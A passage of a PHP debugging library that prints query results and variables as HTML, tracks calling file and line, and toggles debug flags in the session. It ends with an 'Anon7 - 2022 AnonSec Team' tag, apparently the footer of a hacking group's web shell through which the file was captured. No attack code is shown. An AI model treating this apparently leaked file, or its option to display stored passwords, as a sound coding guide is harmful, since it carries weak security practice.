      $displayTrack .= "    <td>".d_s_DEBUG().varValue($value)."</td>";
    }
    $displayTrack .= "\n  </tr>\n";
  }
  // End the table.
  $displayTrack .= "  </tr>\n</table>".d_s_DEBUG()."\n <!-- ".__LINE__." -->\n";
  return $displayTrack;
}

// d_s_DEBUG()
// Used when $functions_debug_DEBUG = true to track which __LINE__ generated output.
function d_s_DEBUG() {
		return '';
}

// printQuery($resultName, $result)
// Displays a SQL query in HTML table format with the calling filename and line number.
// $resultName + The name of the query.
//     $result + The query.
// RETURNS:
// true if there is data in the result set.
// false if there is no data in the result.
function xprintQuery($resultName, $result) {
	$debug_backtrace = debug_backtrace();							// Get caller information.
	$file = basename($debug_backtrace['0']['file']);	// Function caller file filename.
	$filepath = $debug_backtrace['0']['file'];				// Function caller file filepath.
	$line = $debug_backtrace['0']['line'];						// Function caller file line number.
  echo "<div class=\"pv_l\"><span class = \"pv_f\">", $resultName, "=</span> $file:$line. ($filepath)<br>\n";
  // Fet the first row in the table.
  mysqli_data_seek($result, 0);
  if(!$row = mysqli_fetch_assoc($result)) {
  echo "null</div>\n";
    return false;
  }
  // Begin the table.
  print("<table><tr>");
  // Print the column names as table headers.
  foreach($row as $key=>$value) {
    print("<th>$key</th>");
  }
  print("</tr>");
  // Loop through the table, printing the field values in table cells.
  do {
    print("<tr>");
    foreach($row as $key=>$value) {
      print("<td>".varValue($value)."</td>");
    }
    print("</tr>");
  } while ($row = mysqli_fetch_assoc($result));
  // End the table.
  print("</tr></table></div>");
  return true;
}

// printVar($varName, $var, $varDisplay, $varShow)
// Displays and tracks the value of a variable or array with the calling file and line number.
//    $varName = The name of the variable.
//        $var = The variable.
// $varDisplay = b = show br before output.
//               f = show calling filename and line.
//               v = =$var is not shown.
//               p = show passwords. Othwewise keys with 'password' or 'pw' in the key name are hidden.
//               e = show varName using class="pv_e". error
//               i = show varName using class="pv_i". info
//               n = show varName using class="pv_n". notice
//               w = show varName using class="pv_w". warning
//               'bfp' would show a br before output, show calling filename and line, and show passwords.
//               'bpe' would show a br before output, show varName using class="pv_e", and show passwords.
//               default is f for non array variables and fa for arrays.
//    $varShow = true = display printVar
//               false = add printVar to $_SESSION['TRACK'].
//               default is true.
function xprintVar($varName, $var = '', $varDisplay = 'f', $varShow = true) {
	global $debugTrack;																// False = skip tracking for this function. Default is true.
	if (!isset($debugTrack)) $debugTrack = true;			// Ensure $debugTrack is set.
	$debug_backtrace = debug_backtrace();							// Get caller information.
	$file = basename($debug_backtrace['0']['file']);	// Function caller file filename.
	$filepath = $debug_backtrace['0']['file'];				// Function caller file filepath.
	$line = $debug_backtrace['0']['line'];						// Function caller file line number.
  $bShow = (stripos($varDisplay, 'b') !== false ? '<br>' : '');
  $cShow = (stripos($varDisplay, 'i') !== false ? ' class="pv_i"' : '');
  if ($cShow == '') $cShow = (stripos($varDisplay, 'e') !== false ? ' class="pv_e"' : '');
  if ($cShow == '') $cShow = (stripos($varDisplay, 'n') !== false ? ' class="pv_n"' : '');
  if ($cShow == '') $cShow = (stripos($varDisplay, 'w') !== false ? ' class="pv_w"' : '');
  if ($cShow == '') if (is_array($var)) $cShow = ' class="pv_a"';
  $fShow = (stripos($varDisplay, 'f') !== false ? ' <span class="pv_fl">'.$file.':'.$line.'</span>' : '');
  $vShow = (stripos($varDisplay, 'v') !== false ? false : true);
  $pShow = (stripos($varDisplay, 'p') !== false ? true : false);
  $printVarArray_Debug = false;
  if ($printVarArray_Debug) {
    $l1 = ' <span class="pv_n">l1</span>'; $l2 = ' <span class="pv_n">l2</span>'; $l3 = ' <span class="pv_n">l3</span>'; $l4 = ' <span class="pv_n">l4</span>'; $l5 = ' <span class="pv_n">l5</span>';
  } else {
    $l1 = ''; $l2 = ''; $l3 = ''; $l4 = ''; $l5 = '';
  }
  $displayTrack = '<div class="pv_l pv_v">'.$l1;
  if (isset($var)) {
    if (!is_array($var) && !is_object($var)) {
      if ($var === true) {
        $displayTrack .= "$bShow<span$cShow>$varName===</span>true$fShow\n".$l2;
      } else {
        if ($var === false) {
          $displayTrack .= "$bShow<span$cShow>$varName===</span>false$fShow\n".$l2;
        } else {
          if ($vShow) {
            $displayTrack .= "$bShow<span$cShow>$varName=</span><span class=\"pv_d\">".htmlView(str_replace("\\", "\\\\", $var))."</span>$fShow\n".$l2;
          } else {
            $displayTrack .= "$bShow<span$cShow>$varName</span>"."$fShow\n".$l2;
          }
        }
      }
    } else {
      $displayTrack .= printVarArray($varName, $var, '', $bShow, $cShow, $fShow, $pShow, $printVarArray_Debug).$l3;
    }
  } else {
    $displayTrack .= "$bShow<span$cShow>$varName</span> is unset.$fShow\n".$l4;
  }
  $displayTrack .= "</div>\n".$l5;
  if ($varShow) {
    echo $displayTrack;
  } else {
    if ($debugTrack && substr($file, 0, 9) != 'functions') debugTrack($displayTrack);
  }
  unset($displayTrack);
  return $varShow;
}

// printVarArray($var, $keys, $bShow, $cShow, $fShow, $pShow);
// Called from printVar to print an array variable.
function xprintVarArray($varName, $var, $keys, $bShow, $cShow, $fShow, $pShow, $printVarArray_Debug) {
  $displayTrack = "$bShow<span$cShow>".$varName."=</span>$fShow<br>\n";
  $bShow = '';
  if ($printVarArray_Debug) {
    $l6 = ' <span class="pv_n">l6</span>'; $l7 = ' <span class="pv_n">l7</span>';
  } else {
    $l6 = '';  $l7 = ''; 
  }
  foreach ($var as $key => $value) {
    if (!is_array($value)) {
      if (!$pShow && (stristr($key, 'password') || stristr($key, 'pw'))) $value = '***hidden***';
      if ($value === true) {
        $displayTrack .= $varName."['".$key."']===true<br>\n";
      } else {
        if ($value === false) {
          $displayTrack .= $varName."['".$key."']===false<br>\n";
        } else {
          $displayTrack .= $varName."['".$key."']=<span class=\"pv_d\">".htmlView(str_replace("\\", "\\\\", $value)).$l6."</span><br>\n";
        }
      }
      $bShow = '';
    } else {
      $fShow = '';
			$displayTrack .= "".printVarArray($varName."['".$key."']", $value, $keys."['".$key."']", $bShow, $cShow, $fShow, $pShow, $printVarArray_Debug).$l7."";
      $bShow = '';
    }
  }
  return $displayTrack;
}

// setDebugOff($messageText)
// Sets $debugOn to false.
// $messageText = optional text you want to track when setting $debugOn.
function setDebugOff($messageText='') {
	$debug_backtrace = debug_backtrace();							// Get caller information.
	$_SESSION['Message'] = '';
	if ( isset($_SESSION['PageHeaderLoaded']) && $_SESSION['PageHeaderLoaded'] ) {
		printLine('Debug Off: '.basename($debug_backtrace[0]['file']).':'.$debug_backtrace[0]['line'].' ('.$debug_backtrace[0]['file'].')');
	}
	debugTrack('Debug Off: '.basename($debug_backtrace[0]['file']).':'.$debug_backtrace[0]['line'].' ('.$debug_backtrace[0]['file'].')');
  setDebugValue($messageText, false, $debug_backtrace);
}

function debugOff($messageText='') {
	$debug_backtrace = debug_backtrace();							// Get caller information.
	$_SESSION['Message'] = '';
	if ( isset($_SESSION['PageHeaderLoaded']) && $_SESSION['PageHeaderLoaded'] ) {
		printLine('Debug Off: '.basename($debug_backtrace[0]['file']).':'.$debug_backtrace[0]['line'].' ('.$debug_backtrace[0]['file'].')');
	}
	debugTrack('Debug Off: '.basename($debug_backtrace[0]['file']).':'.$debug_backtrace[0]['line'].' ('.$debug_backtrace[0]['file'].')');
  setDebugValue($messageText, false, $debug_backtrace);
}

// setDebugOn($messageText)
// Sets $debugOn to true.
// $messageText = optional text you want to track when setting $debugOn.
function setDebugOn($messageText='') {
	$debug_backtrace = debug_backtrace();							// Get caller information.
  #printVar("\$_SESSION['PageHeaderLoaded']",$_SESSION['PageHeaderLoaded'],'',false,true);
	if ( isset($_SESSION['PageHeaderLoaded']) && $_SESSION['PageHeaderLoaded'] ) {
		printLine('Debug On: '.basename($debug_backtrace[0]['file']).':'.$debug_backtrace[0]['line'].' ('.$debug_backtrace[0]['file'].')');
	}
	debugTrack('Debug On: '.basename($debug_backtrace[0]['file']).':'.$debug_backtrace[0]['line'].' ('.$debug_backtrace[0]['file'].')');
	setDebugValue($messageText, true, $debug_backtrace);
}

function debugOn($messageText='') {
	$debug_backtrace = debug_backtrace();							// Get caller information.
  #printVar("\$_SESSION['PageHeaderLoaded']",$_SESSION['PageHeaderLoaded'],'',false,true);
	if ( isset($_SESSION['PageHeaderLoaded']) && $_SESSION['PageHeaderLoaded'] ) {
		printLine('Debug On: '.basename($debug_backtrace[0]['file']).':'.$debug_backtrace[0]['line'].' ('.$debug_backtrace[0]['file'].')');
	}
	debugTrack('Debug On: '.basename($debug_backtrace[0]['file']).':'.$debug_backtrace[0]['line'].' ('.$debug_backtrace[0]['file'].')');
	setDebugValue($messageText, true, $debug_backtrace);
}

// setDebugValue($messageText, $value, $debug_backtrace)
// Called by setDebugOff() or setDebugOn() to set $debugOn to true or false.
function setDebugValue($messageText='', $value=true, $debug_backtrace=false) {
	global $debugTrack;																// False = skip tracking for this function. Default is true.
	if (!isset($debugTrack)) $debugTrack = true;			// Ensure $debugTrack is set.
	if (!$debug_backtrace) $debug_backtrace = debug_backtrace();							// Get caller information if not sent by setDebugOff().
	$file = basename($debug_backtrace['0']['file']);	// Function caller file filename.
	$filepath = $debug_backtrace['0']['file'];				// Function caller file filepath.
	$line = $debug_backtrace['0']['line'];						// Function caller file line number.
  global $debugOn;
  $debugOn = $value;
	$_SESSION['DEBUG']['on']['File'] = $debug_backtrace['0']['file'];
	$_SESSION['DEBUG']['on']['Line'] = $debug_backtrace['0']['line'];
  if (isset($_SESSION['TRACK'])) {
		$_SESSION['TRACK'] .= "<li>";
		if ($debugTrack != '') if ($debugOn) {
			$_SESSION['TRACK'] .= '<span class="pv_n">Debug turned on. '.$messageText.'</span> ';
		} else {
			$_SESSION['TRACK'] .= '<span class="pv_e">Debug turned off. '.$messageText.'</span> ';
		}
		if ($debugTrack != '') if ($_SESSION['DEBUG']['code']) {
			$_SESSION['TRACK'] .= '<span class="pv_n">$_SESSION[\'DEBUG\'][\'code\'] is on.</span> ';
		} else {
			$_SESSION['TRACK'] .= '<span class="pv_e">$_SESSION[\'DEBUG\'][\'code\'] is off.</span> ';
		}
		if ($debugTrack != '') if ($_SESSION['DEBUG']['mysql']) {
			$_SESSION['TRACK'] .= '<span class="pv_n">$_SESSION[\'DEBUG\'][\'mysql\'] is on.</span> ';
		} else {
			$_SESSION['TRACK'] .= '<span class="pv_e">$_SESSION[\'DEBUG\'][\'mysql\'] is off.</span> ';
		}
		$_SESSION['TRACK'] .= '<span class="pv_fl">: '.basename($debug_backtrace['0']['file']).":".$debug_backtrace['0']['line'].'</span></li>'."\n";
	}
}

// varValue($var)
// Returns the value of a variable or array.
//     $var = The variable.
function varValue($var) {
  if (isset($var)) {
    if (!is_array($var)) {
      if ($var === true) {
        $debugVarValue = 'true';
      } else {
        if ($var === false) {
          $debugVarValue = 'false';
        } else {
          $debugVarValue = htmlView($var);
        }
      }
    } else {
      $debugVarValue = 'Array(';
      foreach ($var as $key => $value) {
        $debugVarValue .= '['.$key.']='.varValue($value).', ';
      }
      $debugVarValue = substr($debugVarValue,0,strlen($debugVarValue)-2);
    }
  } else {
    $debugVarValue = '<span class="pv_e">unset</span>';
  }
  return $debugVarValue;
}
?>

Anon7 - 2022
AnonSec Team